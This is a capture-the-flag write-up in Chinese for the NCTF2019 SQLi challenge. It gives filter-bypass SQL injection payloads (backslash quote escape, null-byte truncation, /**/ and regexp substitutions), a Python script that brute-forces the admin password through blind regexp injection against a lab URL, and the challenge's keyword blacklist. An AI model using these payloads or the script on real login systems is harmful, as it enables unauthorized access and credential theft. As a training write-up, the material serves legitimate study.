[NCTF2019]SQLi
[NCTF2019]SQLi
考点:sql bypass
一道sql题,非常友好的给出了sqlquery
,但想必也不简单
sqlquery : select * from users where username='1' and passwd='1'
这中语句非常典型,不试都能猜到必然过滤了'
,在username
处使用\
转义,语句就变成了这样:
sqlquery : select * from users where username='\' and passwd='1'
但不幸的是我们使用传统的--+
和#
并没有办法注释掉最后的那个单引号,所以我们可以用%00
的实际值(%00的urldecode)来截断最后的单引号。
因为BUU的429限制,跑字典非常的耗时,所以就随便写了个小字典跑了一下
发现过滤了空格、like、=、and、or
一些字段,还好还有些可以用的
like => regexp
空格 => /**/
or => ||
猜测这题应该就是爆破密码,我们先构造一下payload:
select * from users where username='\' and passwd='||1/**/regexp/**/"1";%00'
select * from users where username='\' and passwd='||1/**/regexp/**/"2";%00'
得到两个的返回页面,证实了payload
的可行性,开始编写exp
from urllib import parse
import requests
import string
url = "http://968b8b9f-ecd5-47dd-8638-c3eeb5519d0b.node4.buuoj.cn:81//index.php"
string = string.ascii_lowercase + string.digits + '_' # 猜测密码由字母 数字 下划线组成
flag = ''
num = 0
for i in range(60):
if num == 1:
break
for j in string:
data = {
"username":
"\\",
"passwd":
"||/**/passwd/**/regexp/**/\"^{}\";{}".format(
flag + j, parse.unquote("%00"))
}
r = requests.post(url, data=data)
while (r.status_code == 429): # 避免访问次数过快产生429从而终止脚本
r = requests.post(url, data=data)
if "welcome" in r.text:
flag += j
print(flag)
break
if j == '_' and 'welcome' not in r.text: # 终止条件
num += 1
break
有的小伙伴就会问了,我的string
变量中并未加入大写字母诶,sql语句对大小写不敏感所以无需区分大小写。
还有一个要注意的是,%00
需要urldecode加入才有用,不然不能起到截断的作用。
密码爆出来后,随便使用一个用户名登陆就可以获得flag
了,这里将admin
给过滤掉了。
经过看其他师傅的wp,发现通过dirsearch
扫描出了robots.txt
和hint.txt
,提示如下:
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)